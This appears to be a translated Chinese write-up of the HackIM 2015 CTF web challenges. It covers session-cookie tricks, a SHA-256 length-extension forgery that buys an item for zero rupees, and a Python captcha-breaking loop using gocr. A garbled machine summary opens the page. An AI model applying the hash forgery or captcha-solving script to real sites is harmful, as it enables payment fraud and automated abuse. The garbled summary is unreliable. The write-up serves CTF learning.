HackIM web关writeup

摘要:
由于PHPSSID一直在更改,我将尝试使用每次返回的第一个PHPSSID作为下一个请求的PHPSSID,这样可以实现burp的入侵者。12root@kali:~#echoTnVsbGNvbkdvYTIwMTVAV0VCMDAxMTAw|base64-dNullconGoa2015@WEB001100所以flag是flag{NullconGoa2015@WEB001100Web300访问该页面后,将出现“查找你家的钥匙”和指向loop.php的超链接,其中包含表单和房子的图片。使用hashpump生成checksumtoken:Nullcon2015 | corporate | 10999%80%00%00%00%000%00%00%00%00%000%00%00%0100%00%01p|0checksum:a2319d6945201a4b9fd67f077248faff2b735297cca2ac10762af65b2c2dca48提交后,获取密钥12345678910HTTP/1.1200OK日期:周五,2015年1月9日21:08:38GMT服务器:Apache/2.4.7X供电-作者:PHP/5.5.9-1ubuntu4.5变化:接受编码内容长度:114保持活动:超时值=5,最大值=100连接:保持活动内容类型:text/html签出祝贺YoubughtNullconPassinZEROrupee.SeeyouatNullcon!Flagisfl@g_*2o15}Web500收到的唯一提示是“破解Captcha”访问页面,这意味着我们需要破解验证码。下面是我的exp12345678910111213141516#!

Web100

访问页面将看到下面的错误

t017d952f9c5004cb17.png

在burp里使用request / response查看有没有什么不正常的地方。如下图所示,在返回的数据包里被设置了两次不同的PHPSESSID。

t019651e50248c1f9cb.png

如果我把PHPSESSID改成第一个去请求会怎么样呢?当然没有那么简单,修改之后我发现页面只有“Error Code”有改变。

由于PHPSESSID一直在改变,我把每次返回的第一个PHPSESSID作为下一次请求的PHPSESSID去尝试,burp的Intruder可以实现。

t01ba6c91126b1513db.png

t01bd5df4c3344b09b2.png

t01787e88d301c6ed7b.png

Attack几秒钟之后,我发现返回的Error Code开始重复了,于是我把他们整理到一起。

t01eca3aac256d98770.png

很奇怪的一串字符,但是有点像base64加密,试一下。

1
2
root@kali:~# echo TnVsbGNvbkdvYTIwMTVAV0VCMDAxMTAw | base64 -d
NullconGoa2015@WEB001100

所以flag是flag{NullconGoa2015@WEB001100}

Web300

访问页面后出现

“Find the keys to your home”和一个到loop.php的超链接

访问连接,里面是一个form表单,还有一个房子的图片。

同时还有个提示<!-- A place to loo[k]::back. -->

loo[k]::back有点像ipv6的格式,ipv6的环回接口(loopback)是::1, or 0:0:0:0:0:0:0:1,这也是这道题的flag。

好吧,虽然不像是一道web题,但我确实是这么解开的。

Web400

以0的价格购买这个商品

打开网页出现下面的页面:

http://p6.qhimg.com/t01078ab5e50bcd3336.png

点击buy之后会有表单提交,源码如下

1
2
3
4
5
<form action=checkout.php method=POST>
         <input type=hidden name=msg value="Nullcon2015%7Ccorporate%7C10999"><br>
         <input type=hidden name=checksum value="568fe78b29ac377a58ae1fbf02b4d1a158e605b3897916227e4b3ecfc78973db"><br>
        <input type=submit value=Buy>
     </form>

既然要以0的价格购买,我们就要把price改成0,但是我们没法直接修改,因为checksum做了校验。

查看页面源代码,发现下面的注释

1
2
3
4
5
6
7
<!-- 
    if( $checksum === hash("sha256",$secretkey . $msg))   // secretkey is XXXXXXXXXXXXXXXXXXX    :-P
    {
      // Success; :)
    }
  ?> 
   -->

这是length extension 攻击,如果你知道message和MAC,只需再知道key的长度,尽管不知道key的值,也能在message后面添加信息并计算出相应MAC。

使用hashpump来生成一个checksum

token: Nullcon2015|corporate|10999%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01p|0

checksum: a2319d6945201a4b9fd67f077248faff2b735297cca2ac10762af65b2c2dca48

提交之后获得key   

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
    Date: Fri, 09 Jan 2015 21:08:38 GMT
    Server: Apache/2.4.7 (Ubuntu)
    X-Powered-By: PHP/5.5.9-1ubuntu4.5
    Vary: Accept-Encoding
    Content-Length: 114
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html
    <h1> Checkout </h1>Congratualtion You bought Nullcon Pass in ZERO rupee. See you at Nullcon!Flag is fl@g_*2o15}

 

Web500

唯一获得的提示就是“Break the Captcha”

访问页面

http://p9.qhimg.com/t01cbc82021b8f02142.png

就是说需要我们破解验证码

下面是我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
__author__ = "@_SaxX_"
import os, requests, commands, re
= requests.session()
url = "http://54.165.191.231/"
s.get(url + "captcha.php")
while True:
    open('captcha.png''wb').write( s.get(url + "imagedemo.php").content )
    os.system('convert captcha.png -compress none -threshold 16% img.png')
    captcha = commands.getoutput("gocr -i img.png").strip()
    response = s.post(url + "verify.php", {'solution' : captcha}).text
    flag = re.findall('Score :(.*)', response)[0].rstrip()
    if not str(flag).isdigit():
        print "[+] Flag: %s" %flag
        break
print "[%s] Sending Captcha=%s ... "%(flag, captcha)

t015982e541ef1cdcc2.png

http://p5.qhimg.com/t01e17eb593db692666.png

执行之后出现flag

 

原文链接:https://ctf-team.vulnhub.com/write-ups/hackim/

flag{H@CKIM_C@pTcha!09022015}本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。

免责声明:文章转载自《HackIM web关writeup》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇安全专家发现GE Multilin SR的一个关键漏洞对全球电网构成严重威胁。Boston Key Party 2015 Heath Street 题解(Writeup)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

下载文件几种方式

public HttpServletResponse download(String path, HttpServletResponse response) {try {// path是指欲下载的文件的路径。File file = new File(path);// 取得文件名。String filename = file.getName();// 取得文件...

spring的ParameterMethodNameResolver的使用

spring的ParameterMethodNameResolver的可以根据不同的参数执行不同方法,类似Struts的dyncaction 下面有一个例子 package ee.bug; import java.util.ArrayList; import java.util.Date; import java.util.List; import jav...

异步上传文件

异步上传文件多种方式归纳 最近在做异步上传文件的工作,用到了一些库,这里归纳下,暂且不考虑异常处理,仅作为demo。 1.不用任何插件,利用iframe,将form的taget设为iframe的name,注意设为iframe的id是没用的,跟网上很多说的不太一致 iframe_upload.htm <!DOCTYPE htm...

编写 Cookie

Cookie 提供了一种在 Web 应用程序中存储用户特定信息(如历史记录或用户首选项)的方法。Cookie 是一小段文本信息,伴随着请求和响应在 Web 服务器和客户端之间传递。Cookie 包含每次用户访问站点时可由 Web 应用程序读取的信息。 浏览器管理客户端计算机上的 Cookie。使用HttpResponse对象可向客户端发送 Cookie,该对...

Asp.Net2.0中的缓存

缓存 一、Output Caching输出缓存IIS会智能的配置缓存,默认是打开的; 定制Output Caching的两种基本方法1、基于底层API技术(编程难度大)通过设置System.Web.HttpCachePolicy属性来设置缓存,如:Response.Cache.SetExpires(DateTime.Now(60));//(和设置Durati...

HTML5离线web应用程序

web应用程序的主要制约之一就是连接性。在HTML5到来之前我们就曾想挖掘浏览器的能力,以使web应用程序能像桌面应用程序一样功能强大和易于使用,但浏览器始终让我们感到失望。虽然之前已出现了一些浏览器缓存技术,但这些缓存技术的设计初衷并不是为了使web应用程序能够完全地离线运行,令人遗憾的是,事实上使用这些技术的web应用程序很容易出问题,而且难于使用。HT...